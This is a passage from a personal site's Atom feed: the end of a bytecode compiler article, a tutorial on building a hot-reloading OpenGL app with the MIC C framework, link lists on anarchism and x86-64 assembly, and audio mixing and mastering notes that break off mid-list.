                    with infinite registers. We haven’t yet explored how
                    to perform things like procedure calls or access to
                    local or scoped variables, which require the
                    definition of a calling convention and an
                    explanation of activation records. This will be the
                    topic of a future article, but for now we have a
                    base to start compiling some basic bytecode programs
                    and to develop a simple virtual machine to test our
                    programs. Until next time!</p>
                </div>
            </content>
        </entry>
                <entry>
            <title>ARTICLE // Micro Interactive C Framework: OpenGL
example</title>
            <link href="https://badd10de.dev//posts/mic-framework-opengl-example"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//posts/mic-framework-opengl-example</id>
            <updated>2026-06-16T09:49:11Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>The <a href="https://git.badd10de.dev/mic">Micro
                    Interactive C (MIC)</a> framework can be used to
                    bootstrap C projects that rely on user interaction,
                    such as games, real-time applications, video
                    players, etc. These applications usually will have a
                    main loop that will be iterated until being closed.
                    MIC offers hot code reloading, being able to use C
                    as a pseudo-scripting language. For technical
                    details and an initial rundown of its usage, please
                    see the <a
                    href="https://git.badd10de.dev/mic/tree/README.md">README</a>.
                    Here we are going to be looking at an example of
                    bootstraping an OpenGL application and modifying it
                    on the fly.</p>
                    <h2
                    id="initial-setup-and-window-initialization">Initial
                    setup and window initialization</h2>
                    <p>We will start by obtaining the MIC
                    repository:</p>
                    <pre><code>git clone https://git.badd10de.dev/mic mic_opengl
cd mic_opengl</code></pre>
                    <p>For OpenGL support and window/input handling we
                    will be using <a
                    href="https://github.com/nigels-com/glew">GLEW</a>
                    and <a href="https://www.glfw.org/">GLFW</a>.
                    Install these libraries, make sure they are
                    available in the import path and modify the
                    <code>Makefile</code> to link them to the
                    project:</p>
                    <pre><code>LDFLAGS := -lGL -lGLEW -lglfw</code></pre>
                    <p>Next, we will update the <code>AppState</code>
                    struct in <code>src/app.h</code> to include the
                    necessary fields for this project. We don’t really
                    need the long/short term memory so we can get rid of
                    it for now. We also need to import the GLEW and GLFW
                    headers.</p>
                    <pre><code>#include &lt;GL/glew.h&gt;
#include &lt;GLFW/glfw3.h&gt;

#include &quot;shorthand.h&quot;
#include &quot;platform.h&quot;

typedef struct AppState {
    // OpenGL.
    GLFWwindow *window;
} AppState;</code></pre>
                    <p>In the <code>app_init</code> function found in
                    <code>str/app.c</code>, we initialize GLFW, an
                    OpenGL context, a GLFW window and some memory for
                    later:</p>
                    <pre><code>static inline bool
app_init(AppState *state, PlatformAPI platform) {
    platform.log(&quot;INIT&quot;);

    // Initialize GLFW.
    if (!glfwInit()) {
        platform.log(&quot;ERROR: failed to initialize GLFW&quot;);
        return false;
    }
    glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3);
    glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 3);
    glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE);

    // // Initialize window.
    GLFWwindow* window = glfwCreateWindow(800, 600, &quot;Hello MIC&quot;, NULL, NULL);
    if (window == NULL) {
        platform.log(&quot;ERROR: failed to create GLFW window&quot;);
        glfwTerminate();
        return false;
    }
    glfwMakeContextCurrent(window);

    // Initialize GLEW.
    if(glewInit() != GLEW_OK) {
        platform.log(&quot;ERROR: glew initialization&quot;);
        glfwTerminate();
        return false;
    }

    // Initialize viewport.
    glViewport(0, 0, 800, 600);

    // Initialize application state.
    state-&gt;window = window;

    return true;
}</code></pre>
                    <p>Finally, we go to the <code>app_step</code>
                    function to clear the screen color and swap the
                    framebuffer:</p>
                    <pre><code>static inline bool
app_step(AppState *state, PlatformAPI platform) {
    (void)platform; // Unused parameter.
    if (glfwWindowShouldClose(state-&gt;window)) {
        return false;
    }

    glClearColor(1.0f, 0.0f, 0.4f, 1.0f);
    glClear(GL_COLOR_BUFFER_BIT);

    glfwSwapBuffers(state-&gt;window);
    glfwPollEvents();

    return true;
}</code></pre>
                    <p>If we compile and run the code now, we should be
                    seeing a red window:</p>
                    <pre><code>make &amp;&amp; ./build/app</code></pre>
                    <p>Try modifying <code>glClearColor</code> and
                    recompiling while the application is running to test
                    the interactivity.</p>
                    <p><a href="mic_opengl_example_1.mp4"><img
                    src="mic_opengl_example_1.gif"
                    alt="Example of MIC usage with OpenGL by opening a window, changing the background color and re-compiling" /></a></p>
                    <h2 id="rendering-a-triangle">Rendering a
                    triangle</h2>
                    <p>To render a triangle in OpenGL, we will need a
                    set of vertices, a vertex buffer object (VBO), a
                    vertex array object (VAO) and a shader program. With
                    this in mind, let’s update the AppState structure to
                    include these elements.</p>
                    <pre><code>typedef struct AppState {
    // OpenGL.
    GLFWwindow *window;
    f32 vertices[12];
    u32 VBO;
    u32 VAO;
    u32 shader_program;
} AppState;</code></pre>
                    <p>Let’s also create a helper function for shader
                    program compilation. This function will take two
                    filesystem paths for the vertex and fragment
                    shaders, will try to read these files from disk and
                    compile the shader program, storing its handle if
                    successful and returning the success/failure of the
                    operation.</p>
                    <pre><code>bool
compile_shaders(const char *vert, const char *frag, u32 *handle,
        PlatformAPI platform) {
    int success = 0;
    char memory[MB(1)] = {0}; // Memory for reading shader files.

    // Initialize shader handles.
    u32 vert_handle = glCreateShader(GL_VERTEX_SHADER);
    u32 frag_handle = glCreateShader(GL_FRAGMENT_SHADER);

    // Vertex shader.
    {
        platform.read_file(vert, memory);
        const char * source = memory;
        glShaderSource(vert_handle, 1, &amp;source, NULL);
        glCompileShader(vert_handle);
        glGetShaderiv(vert_handle, GL_COMPILE_STATUS, &amp;success);
        if (!success) {
            glDeleteShader(vert_handle);
            glDeleteShader(frag_handle);
            return false;
        }
    }

    // Fragment shader.
    {
        platform.read_file(frag, memory);
        const char * source = memory;
        glShaderSource(frag_handle, 1, &amp;source, NULL);
        glCompileShader(frag_handle);
        glGetShaderiv(frag_handle, GL_COMPILE_STATUS, &amp;success);
        if (!success) {
            glDeleteShader(vert_handle);
            glDeleteShader(frag_handle);
            return false;
        }
    }

    // Program linkage.
    *handle = glCreateProgram();
    glAttachShader(*handle, vert_handle);
    glAttachShader(*handle, frag_handle);
    glLinkProgram(*handle);
    glGetProgramiv(*handle, GL_LINK_STATUS, &amp;success);
    if(!success) {
        glDeleteProgram(*handle);
        glDeleteShader(vert_handle);
        glDeleteShader(frag_handle);
        return false;
    }
    glDeleteShader(vert_handle);
    glDeleteShader(frag_handle);

    return true;
}</code></pre>
                    <p>We create a directory in our path for the
                    following vertex and fragment shaders:</p>
                    <pre><code>// shaders/triangle.vert
#version 330 core
layout (location = 0) in vec3 vertex;
void main() {
    gl_Position = vec4(vertex.x, vertex.y, vertex.z, 1.0);
}

// shaders/triangle.frag
#version 330 core
out vec4 frag_col;
void main() {
    frag_col = vec4(0.8f, 0.8f, 0.8f, 1.0f);
}</code></pre>
                    <p>Next we have to update the <code>app_init</code>
                    function to generate the VBO and VAO, save the
                    vertex data to the <code>AppState</code> struct and
                    compile the shader program:</p>
                    <pre><code>    // Initialize vertex data.
    state-&gt;vertices[0] = -0.5f;
    state-&gt;vertices[1] = -0.5f;
    state-&gt;vertices[2] = 0.0f;
    state-&gt;vertices[3] = 0.5f;
    state-&gt;vertices[4] = -0.5f;
    state-&gt;vertices[5] = 0.0f;
    state-&gt;vertices[6] = 0.0f;
    state-&gt;vertices[7] = 0.5f;
    state-&gt;vertices[8] = 0.0f;

    // Initialize Vertex Buffer Object (VBO) and Vertex Array Object (VAO).
    u32 VBO;
    glGenBuffers(1, &amp;VBO);
    u32 VAO;
    glGenVertexArrays(1, &amp;VAO);

    // Bind the VAO before any other binding.
    glBindVertexArray(VAO);

    // Send vertex data to VBO.
    glBindBuffer(GL_ARRAY_BUFFER, VBO);
    glBufferData(GL_ARRAY_BUFFER, sizeof(state-&gt;vertices), state-&gt;vertices,
        GL_STATIC_DRAW);

    // Set vertex attribute pointers.
    glEnableVertexAttribArray(0);
    glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 3 * sizeof(float), 0);

    // Compile shader program.
    const char *vert = &quot;shaders/triangle.vert&quot;;
    const char *frag = &quot;shaders/triangle.frag&quot;;
    if (!compile_shaders(vert, frag, &amp;state-&gt;shader_program, platform)) {
        platform.log(&quot;WARNING: failed to compile shader program&quot;);
    }

    // Initialize application state.
    state-&gt;window = window;
    state-&gt;VBO = VBO;
    state-&gt;VAO = VAO;</code></pre>
                    <p>The only thing left to do now is to draw the mesh
                    in the <code>app_step</code> function.</p>
                    <pre><code>static inline bool
app_step(AppState *state, PlatformAPI platform) {
    (void)platform; // Unused parameter.

    glClearColor(0.8f, 0.0f, 0.4f, 1.0f);
    glClear(GL_COLOR_BUFFER_BIT);
    glUseProgram(state-&gt;shader_program);
    glBindVertexArray(state-&gt;VAO);
    glDrawArrays(GL_TRIANGLES, 0, 3);

    glfwSwapBuffers(state-&gt;window);
    glfwPollEvents();

    return true;
}</code></pre>
                    <p>Running this app now, we should have a white
                    triangle over a red background. The shaders are not
                    being updated while the application is reloaded, but
                    this is an easy fix. We just have to recompile the
                    shader program on the <code>app_reload</code>
                    function.</p>
                    <pre><code>static inline void
app_reload(AppState *state, PlatformAPI platform) {
    platform.log(&quot;RELOAD&quot;);
    glDeleteProgram(state-&gt;shader_program);
    const char *vert = &quot;shaders/triangle.vert&quot;;
    const char *frag = &quot;shaders/triangle.frag&quot;;
    if (!compile_shaders(vert, frag, &amp;state-&gt;shader_program, platform)) {
        platform.log(&quot;WARNING: failed to compile shader program&quot;);
    }
}</code></pre>
                    <p>Lastly, we make sure that <code>make</code> is
                    monitoring the files in the shader directory for
                    changes:</p>
                    <pre><code>SRC_DIR        := src
SHADERS_DIR    := shaders
SRC_MAIN       := $(SRC_DIR)/main.c
SRC_APP        := $(SRC_DIR)/app.c
WATCH_SRC      := $(wildcard $(SRC_DIR)/*.c)
WATCH_SRC      += $(wildcard $(SRC_DIR)/*.h)
WATCH_SRC      += $(wildcard $(SHADERS_DIR)/*.vert)
WATCH_SRC      += $(wildcard $(SHADERS_DIR)/*.frag)</code></pre>
                    <p>Now you can preview shader changes in real time!
                    Isn’t that neat?</p>
                    <p><a href="mic_opengl_example_2.mp4"><img
                    src="mic_opengl_example_2.gif"
                    alt="Example of MIC usage with OpenGL rendering a triangle, changing the fragment shader and background color and re-compiling" /></a></p>
                    <h2 id="wrapping-up">Wrapping up</h2>
                    <p>This is just an example of what is possible with
                    this little framework. There are no plans to expand
                    it significantly, as it is supposed to be used as a
                    starting point of more complex projects. However, I
                    wouldn’t mind to add support for other platforms,
                    such as Windows.</p>
                    <p>If you find any errors in this article or you
                    want to contribute, you can <a
                    href="mailto:bd@badd10de.dev">drop me an email</a>.
                    You can also submit patches to MIC via <a
                    href="https://git-send-email.io/">git-send-email</a>
                    to the same address.</p>
                    <p>The code for this article can be found <a
                    href="https://git.badd10de.dev/mic-opengl-example">here</a>,
                    and both this example and the <a
                    href="https://git.badd10de.dev/mic">MIC</a>
                    framework is freely available under <a
                    href="https://git.badd10de.dev/mic/tree/LICENSE">Unlicense/MIT</a>,
                    choose whichever you prefer.</p>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Anarchism</title>
            <link href="https://badd10de.dev//notes/anarchism.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/anarchism.html</id>
            <updated>2026-06-16T09:49:11Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a
                    href="https://theanarchistlibrary.org/special/index">The
                    anarchist library</a></li>
                    <li><a
                    href="https://theanarchistlibrary.org/library/mikhail-bakunin-where-i-stand-1">Where
                    I stand, by Mikhail Bakunin</a></li>
                    <li><a
                    href="http://anarchism.pageabode.com/afaq/secIint.html">What
                    would an anarchist society look like?</a></li>
                    <li><a
                    href="http://anarchism.pageabode.com/afaq/index.html">An
                    anarchist FAQ</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=sb2TIFrEjVw">Revolution
                    | A Modern Anarchism (Part 3)</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Assembly Programming</title>
            <link href="https://badd10de.dev//notes/assembly-programming.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/assembly-programming.html</id>
            <updated>2026-06-16T09:49:11Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="x86-64">x86-64</h2>
                    <h3 id="resources">Resources</h3>
                    <ul>
                    <li><a
                    href="https://gpfault.net/posts/asm-tut-0.txt.html">Let’s
                    Learn x86-64 Assembly! Part 0 - Setup and First
                    Steps</a></li>
                    <li><a
                    href="https://gpfault.net/posts/asm-tut-1.txt.html">Let’s
                    Learn x86-64 Assembly! Part 1 - Metaprogramming in
                    Flat Assembler</a></li>
                    <li><a
                    href="https://gpfault.net/posts/asm-tut-2.txt.html">Let’s
                    Learn x86-64 Assembly! Part 2 - We’re Writing a
                    Virtual Machine</a></li>
                    <li><a
                    href="https://gpfault.net/posts/asm-tut-3.txt.html">Let’s
                    Learn x86-64 Assembly! Part 3 - Arithmetic and
                    Logic</a></li>
                    <li><a
                    href="https://nullprogram.com/blog/2015/05/15/">Implementing
                    linux threads via syscalls</a></li>
                    <li><a
                    href="https://blog.yossarian.net/2020/06/13/How-x86_64-addresses-memory">How
                    x86-64 addresses memory</a></li>
                    <li><a
                    href="https://blog.yossarian.net/2020/11/30/How-many-registers-does-an-x86-64-cpu-have">How
                    many register in a x86-64 CPU</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Audio Production</title>
            <link href="https://badd10de.dev//notes/audio-production.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/audio-production.html</id>
            <updated>2026-06-16T09:49:12Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="eq">EQ</h2>
                    <p>Equalization (EQ) can be used to modify the
                    frequency spectrum of a sound. It is the bread and
                    butter of the mixing and mastering process. EQ can
                    be used subtly or creatively and in simple terms, it
                    consists on augmenting or reducing the sound of
                    certain frequencies. Many EQs allow to affect
                    multiple bands, for example we may want to increase
                    the volume around 200 Hz and reduce it around 1 kHz,
                    or we may want to cut all sound after 10kHz.</p>
                    <p>Imagine each EQ band as a filter and generally
                    will have available the parameters of frequency,
                    gain and Q. There are many types of filters, and
                    while internally may be built differently, the basic
                    types are:</p>
                    <ul>
                    <li>Low pass filter: Cuts all sound after a certain
                    frequency.</li>
                    <li>High shelf filter: Reduces or boosts the sound
                    after a given frequency.</li>
                    <li>High pass filter: Cuts all sound below a certain
                    frequency.</li>
                    <li>Low shelf filter: Reduces or boosts the sound
                    below a given frequency.</li>
                    <li>Band pass filter: A combination of both a
                    low-pass and high-pass filter, creating a frequency
                    range around which the sound will be kept.</li>
                    <li>Notch filter: An inverse of the band pass
                    filter, where all sound around the central frequency
                    will be removed.</li>
                    <li>Bell curve filter: The selected frequency acts
                    as the center of a Gaussian curve that will
                    boost/attenuate around the region of influence. The
                    Q parameter controls the bandwidth (width) of the
                    bell curve.</li>
                    </ul>
                    <p>In general we want to balance our frequency
                    spectrum to our liking and sometimes this involves
                    making space for instruments. For example, if we
                    have a guitar and a piano playing at the same time,
                    both will have a good amount of mid frequencies, and
                    when they are playing together they may sound muddy.
                    By removing some highs from the guitar and some
                    low-mids from the piano, we can make them sit more
                    harmoniously in the mix. Something I do quite often
                    is to fully remove (high pass) the frequencies above
                    200-300 Hz for many instruments to make space for
                    the bass and the kick drums. If we have many
                    elements in the mix, I may even low-pass the bass
                    instruments, which will change their character, but
                    at the same time, if we crowd a given frequency
                    range, that sound wouldn’t be easy to
                    distinguish.</p>
                    <p>Another use of EQ is to do sound design, shaping
                    samples or instruments to create more appropriate
                    sounds for a given track. In this chart you can find
                    a reference of a few instruments and some
                    characteristic frequency ranges. For example, we may
                    want to increase the attack of a snare drum (by
                    boosting around 900 Hz) or reduce the boominess of a
                    kick drum (reducing the gain around 60 Hz). This
                    chart is to be used only as a guideline reference to
                    where certain characteristics are frequently found,
                    factors such as tuning, the notes being played, the
                    style of music we are going for, the instruments or
                    recording conditions, etc. will change these
                    reference points. Use your ears to determine where
                    something is missing or where there is too much
                    of!</p>
                    <p><a href="/notes/music-production/eq.png"><img
                    src="/notes/music-production/eq.svg" /></a></p>
                    <h2 id="compression">Compression</h2>
                    <p>Compressors can be used to reduce the dynamic
                    range of a signal. Commonly used to control peaks
                    but they have many applications. When a signal goes
                    past the threshold it will be attenuated. Usually
                    compressors will have the following parameters:</p>
                    <ul>
                    <li>Threshold: The limit at which the signal
                    intensity will be attenuated if crossed.</li>
                    <li>Ratio: The amount of attenuation. A 3:1 ratio
                    means that for each 3dB that goes over the
                    threshold, only 1dB will go through.</li>
                    <li>Attack: Determines how fast a compressor starts
                    working.</li>
                    <li>Release: Once the signal goes below the
                    threshold, how fast the compressor will keep working
                    until its released. In other words, how quickly the
                    compressor stops working. A fast release can help
                    create a pumping effect.</li>
                    <li>Knee: Changes the shape of the compression
                    curve. It can soften or make more aggresive the
                    signal reduction.</li>
                    </ul>
                    <h3 id="glue-compression">Glue compression</h3>
                    <p>We use glue compression when we want to integrate
                    different mix elements together in a bus (or
                    master). There are different ideas on the parameters
                    for setting up glue compression, for example, some
                    go for short attacks and long releases, some for
                    fast attack and long releases. It may depend on the
                    type of effect that we want to achieve, sometimes we
                    can get pumping effects or artifacts when attempting
                    to do so. In any case the goal is to aim for 1-2 dB
                    of reduction (and makeup gain to compensate for it).
                    If you want to time the release time perfectly, we
                    can use the following formula, which will give us
                    the time in milliseconds:</p>
                    <pre><code>release = 60000 / bpm * 4 - attack</code></pre>
                    <p>Shorter attack times will affect the transients
                    of the signal more, which may not be desired,
                    wherease longer attack times will preserve them.</p>
                    <h3 id="resources">Resources</h3>
                    <ul>
                    <li><a
                    href="https://www.sageaudio.com/articles/mastering-compression-settings">Mastering
                    Audio Compression (Sage Audio)</a></li>
                    </ul>
                    <h3 id="pads">Pads</h3>
                    <p>We don’t want to overcompress, but if we want to
                    control the dynamics a little bit we can set up a
                    compressor with a relatively long attack and release
                    and around a 3:1 ratio. It can be useful to avoid
                    high discrepancies in volume, specially when
                    automating volume fades.</p>
                    <h3 id="drums">Drums</h3>
                    <ul>
                    <li>Kick/snare/clap/toms: Quick attack/release,
                    3-4:1 ratio and hard knee. The idea is to let the
                    attack pass through but control the boominess and
                    keep a more even volume.</li>
                    <li>Hi-hats/rides/shakers: Short/medium attack,
                    medium release, 3-4:1 ratio. We probably don’t want
                    the pumping effect on HHs.</li>
                    <li>Drum bus: Grouping drums together and applying
                    compression to this bus we may be able to glue them
                    together, creating a more homogeneous sound. Use a
                    compressor with a very fast attack, medium slow
                    release and low ratio (2:1), increasing the
                    threshold until we can hear the effect. In Bitwig
                    you can also use the transient control for this
                    purpose, increasing the amount of gain for the
                    non-transient part.</li>
                    </ul>
                    <h3
                    id="parallel-compression-ny-compression">Parallel
                    compression (NY compression)</h3>
                    <p>The idea is to overcompress a track (low
                    threshold, medium-fast attack and release and large
                    ratio) and blend the overcompressed signal with the
                    original one. If your compressor has a wet/dry mix,
                    you can achieve this effect quite easily. Works
                    specially well for drum loops, providing a more
                    aggressive sound.</p>
                    <h2 id="mixdown-tips">Mixdown tips</h2>
                    <ul>
                    <li>Use pink noise to tune your eq in a horizontal
                    line, this will give you a more accurate visual
                    representation of the perceptual audio
                    spectrum.</li>
                    <li>Shorter sounds tend to sound higher in
                    pitch.</li>
                    <li>Use an instrument as your anchor to mix things
                    around. For example start with the kick and have a
                    hierarchy for the mixing process.</li>
                    <li>With the basics of kick, snare and high-hats, we
                    can cover the entire frequency spectrum, so starting
                    with these essential elements we can balance our
                    music around it.</li>
                    <li>Some EQs can use an extra signal to monitor
                    multiple inputs. This comes handy for example when
                    we want to balance two midrange instruments and we
                    want to know where to cut in one of them.</li>
                    <li>Using transient control on a drum bus
                    (kick/snare/hh) and increasing the gain of the
                    sustain have a similar effect to using a gluing
                    compressor.</li>
                    <li>When looking at a full album, don’t only look at
                    LUFS or true peak but also loudness range, otherwise
                    some songs may feel off with regard to others.</li>
                    <li>For drums, instead of using limiters, we can use
                    a hard clipper to obtain a cleaner and louder
                    sound.</li>
                    <li>In Bitwig we can use the transient detector to
                    put reverb/delay only in the non transient part of a
                    sound, cleaning it up quite a bit.</li>
                    <li>Check your mix in mono to spot frequency
                    buildups and phase cancellations.</li>
                    <li>Check your mix in phone earbuds, speakers, mono
                    bluetooth boomboxes, the car, etc.</li>
                    </ul>
                    <h3 id="pink-noise-mixing">Pink noise mixing</h3>
                    <p>Pink noise have the same amount of energy across
                    all octaves. If we mix to a pink noise reference, it
                    will make it so our music can sound louder, since
                    limiters will not slam the lower frequencies
                    first.</p>
                    <p>Setup your EQ/spectrum analyzer balanced to pink
                    noise and set a reference volume to balance around.
                    Pure pink noise mixing can sound a bit too bright so
                    setting a slope of 4.5dB instead of 3dB (pink noise)
                    can mixing to the horizontal line can help deal with
                    this issue. On the master bus, you can use an EQ set
                    up just before the limiter for this purpose, instead
                    of track by track. You can also use something like
                    Ozone to dynamically adjust this stuff for you. In
                    Bitwig you can use a multiband fx-3 (MBFX3) to split
                    you frequency ranges and use limiters and
                    compressors in each band independently, this is
                    useful for drums. With MBFX3 and a limiter in each
                    band you can raise the limiter until it is just
                    starting to hit the ceiling.</p>
                    <p>The reference is mostly arbitrary but give enough
                    headroom. For example select -45dB, balance the kick
                    to peak at that line, the snare a bit lower than
                    that, the melody a bit above, etc. These are
                    stylistic choices.</p>
                    <p>You can do this by ear by setting a pink noise
                    generator or wave file and then, with all faders set
                    to -inf, slowly raise each individual track until
                    you can hear it above the noise and then decrease
                    the volume until is barely audible. Some people
                    mention that is better to do this in mono for more
                    accurate results. You can do this channel by channel
                    by muting the rest or just adding all elements as
                    you go. Either way, this is not a silver bullet,
                    just a tool that can be used to get a quick mixing
                    balance, but ultimately you need to use your ears to
                    set your levels.</p>
                    <h3 id="resources-1">Resources</h3>
                    <ul>
                    <li><a href="https://youtu.be/7wSsjRDWxdo">Polarity:
                    how i mixdown tracks - quick, simple, loud and clean
                    mastering</a></li>
                    <li><a href="https://youtu.be/x4suFOn0VS8">Polarity:
                    Mixing: How to Start - Bitwig Tutorial</a></li>
                    <li><a href="https://youtu.be/WShnVQ9uOkc">Polarity:
                    why your mixdown is shit - tonal balance, brightness
                    equals loudness</a></li>
                    <li><a href="https://youtu.be/u_iZQEBuyGQ">Venus
                    theory: How To Get Balanced Mixes Every Time | Pink
                    Noise Mixing</a></li>
                    </ul>
                    <h2 id="scopes-and-mastering">Scopes and
                    mastering</h2>
                    <p>Before a final release, you likely want to master
                    your music so that it sounds as best as it can on as
                    many listening environments and distribution
                    platforms as possible.</p>
                    <p>The first thing to consider is the frequency
                    balance, which is technically part of the mixing
                    process, but the two are intertwined. If you want
                    your music to sound loud, you want a balanced
                    frequency spectrum as previously described.
                    Typically I would have a final EQ or multiband
                    compressor on my mastering chain to correct for
                    overall signal imbalances. In Bitwig/Ableton I use a
                    spectrum analyzer for this purpose, with a 4.5dB
                    tilt in slow and/or freeze mode. This lets me know
                    how the spectra evolves around time and which
                    moments emphasize certain frequencies.</p>
                    <p>Having a balanced spectrum makes it so that the
                    second step, loudness, is more easily achievable. A
                    compressor and/or limiter are used to raise the
                    level of the input signal. If you have an imbalanced
                    signal, the limiter will be hit the ceiling earlier
                    in some frequencies, which will make it so either we
                    have distortion or we can’t push the overall signal
                    as loud as we would like. I may use a combination of
                    a compressor plus a limiter in some cases to lightly
                    reduce some peaks before going to the limiter
                    device. The <a
                    href="https://en.wikipedia.org/wiki/Loudness_war">loudness
                    wars</a> are mostly over, but it is worth trying to
                    make your music as loud as possible according to the
                    distributor’s specifications. For streaming
                    services, I will tend to master to Spotify’s specs,
                    which are shared by other services (-14LUFS with a
                    max true peak of -1dB). I use the freely available
                    <a
                    href="https://youlean.co/youlean-loudness-meter/">Youlean
                    loudness meter</a> or <a
                    href="https://www.tbproaudio.de/products/dpmeter">dpMeter5</a>
                    to monitor these metrics across the entire song and
                    adjust my limiter as needed to achieve these
                    specs.</p>
                    <p>I also like to monitor the overall stereo
                    spectrum using the free <a
                    href="https://www.meldaproduction.com/MStereoScope">MStereoScope</a>
                    plugin. Sometimes it’s worth considering to widen or
                    pan certain tracks and individual channels. I also
                    monitor the final mix in mono to ensure is sounds
                    OK.</p>
                    <p>It’s a good idea once we have a final version to
                    print the different stems or parts of a song if
                    desired (vocal vs instrumental). Often we want to
                    revisit or remix a song and can’t load the original
                    project due to unavailable plugins, samples or
                    something else entirely. Having the stems available
                    makes this much easier.</p>
                    <p>As a final note, don’t forget to set up the
                    metadata in all the tracks, it will save a lot of
                    time when sending them to distribution.</p>
                    <h2 id="transitions">Transitions</h2>
                    <p>Here are some ideas that can be used to create
                    smooth transitions between sections of our songs or
                    when we want to introduce a new instrument to the
                    mix. Often can be combined so try a few and see what
                    feels right!</p>
                    <ul>
                    <li>Crash &amp; snares hits after the transition
                    point. Sometimes I will layer multiple samples to
                    create the appropriate intensity for the crash.</li>
                    <li>Transient elements in the next section can be
                    duplicated, have reverb applied and rendered.
                    Reversing this element and putting it before the
                    transition and sometimes cutting up the transient
                    point of this clip can help smooth out transitions.
                    Works very well with crash, snares, kicks, pianos,
                    even vocals. You can also apply more reverb or delay
                    to these tracks to see if it fits better.</li>
                    <li>Silence certain sounds, keeping only some of the
                    existing elements.</li>
                    <li>Drum fills or other glitchy or percussive
                    elements. Works nicely with tom or snare fills and
                    rolls (or both!).</li>
                    <li>Risers. Can be created in a multitude of ways,
                    and some of these can be combined together in
                    creative ways.
                    <ul>
                    <li>White noise with a low pass filter that
                    progressively opens up.</li>
                    <li>An LFO for a sound is modulated
                    increasing/decreasing its speed. This LFO can
                    control volume, pitch or other parameters to create
                    unique sounds.</li>
                    <li>Use pitch automation on a sound.</li>
                    <li>Swipe an eq with a high boost notch and a small
                    Q to create audible effects.</li>
                    </ul></li>
                    <li>FX automations:
                    <ul>
                    <li>Increasing the reverb of an element.</li>
                    <li>Opening/closing up the low/high pass filter of
                    an element.</li>
                    </ul></li>
                    </ul>
                    <h2 id="ear-candy">Ear candy</h2>
                    <p>To keep the listeners engaged throughout the
                    song, we can sprinkle noises, instrument hits,
                    effects, glitches, textures and many other details.
                    These need to be subtle and secondary to the main
                    arrangement, but they can really help bringing a
                    song together. Sometimes we can repurpose existing
                    material (such as vocals) processed for different
                    sounds. Drum or bass fills could also be considered
                    part of ear candy, specially when not used in
                    transitions.</p>
                    <ul>
                    <li><a href="https://youtu.be/Vp5rTWwN2Ok">Synthwave
                    Sessions: More Exciting Tracks</a></li>
                    <li><a href="https://youtu.be/q96csLYzPN8">This
                    always makes a HUGE improvement on any song</a></li>
                    </ul>
                    <h2 id="voice">Voice</h2>
                    <h3 id="compression-1">Compression</h3>
                    <p>Voice love compression, but specially if we are
                    doubling vocals, we want to compress those even more
                    to reduce the dynamic range and make mixing easier.
                    Double vocals in general tolerate much better
                    overdoing it on effects, like reverb and delays.</p>
                    <h3 id="reverbdelay-compressor">Reverb/Delay +
                    Compressor</h3>
                    <p>Reverb and delay and vocals are really important
                    for bringing a sense of space and otherworldliness
                    but this can often overwhelm the sound and remove a
                    lot of clarity from the lead vocals. A very useful
                    trick is to put the reverb and delay as send buses
                    and add a compressor to each of them, which will be
                    used to sidechain the FX with the lead vocal signal.
                    This allows the reverb/delay to be heard when the
                    voice is not playing, but they will duck when it is
                    giving us a much more clear signal. We can set the
                    compressors with a fast attack, slow-medium release,
                    6-7:1 ratio and adjust the threshold until we
                    achieve around 5-8dB of gain reduction. Make sure to
                    remove makeup gain for this to work.</p>
                    <ul>
                    <li><a href="https://youtu.be/CUyMUHStPxs">Vocal
                    trick they all use</a></li>
                    </ul>
                    <h3 id="other">Other</h3>
                    <ul>
                    <li><a
                    href="https://www.youtube.com/watch?v=F9FCCbANnsE">Top
                    3 Tricks for SUPER SMOOTH Vocal Delays [ANY
                    plugin]</a></li>
                    </ul>
                    <h2 id="genres">Genres</h2>
                    <h3 id="sound-structure">Sound structure</h3>
                    <p>In all music genres there is some amount of
                    structure to a song. Even the lack of structure (for
                    example an ambient track or a generative patch) is
                    itself structured as a single part song. There are
                    classical and common musical forms (sonata, rondo,
                    AABB, AABA, ABA, 12-bar blues, etc.) but in popular
                    music different sections are given other names and
                    arranged according to musical genre. Note that even
                    within each genre, there is a wide amount of
                    variation, ultimately structure is a creative
                    decision, but it is useful to know common
                    conventions.</p>
                    <p>In addition to the following section types, it is
                    also worth considering the overall energy of the
                    track. Even with common progressions
                    (verse-chorus-verse) the emphasis of energy can be
                    set at different points (last chorus is the most
                    energetic, similar energy all around except in some
                    spots, etc.). Ways of changing a track’s energy is
                    via adding/removing instruments, parts or textures,
                    increasing melodic/harmonic rhythm, variations in
                    drum patterns, melodic lines reaching higher
                    pitches.</p>
                    <ul>
                    <li>Glossary:
                    <ul>
                    <li>Intro (I), introduces the song by building up
                    the main melody, harmony and/or rhytmic structure
                    often unique but also can be mirrored in the outro.
                    Sometimes the introduction is (re)used as a
                    “turnaround” to return to the verse or A section of
                    a song. Commonly instruments are “faded in” with
                    volume swells, filters or other transitions.</li>
                    <li>Verse/breakdown (V), can have a main melodic
                    theme, but also used to develop the songs harmony
                    and establish the key center. When there are lyrics,
                    each verse can have different sets of lyrics and
                    primarily is used to support the chorus.</li>
                    <li>Pre-chorus/buildup (PC), used to build energy
                    and connecting the verse with the chorus. Sometimes
                    adds harmonic variation and can be used to modulate
                    from a key (in the verse) to another (chorus).</li>
                    <li>Chorus/drop (C), generally contains the main
                    idea or hook of the song. Choruses tend to be all
                    very similar in a song, with little variation.</li>
                    <li>Post-chorus/pre-verse (PV), a section that comes
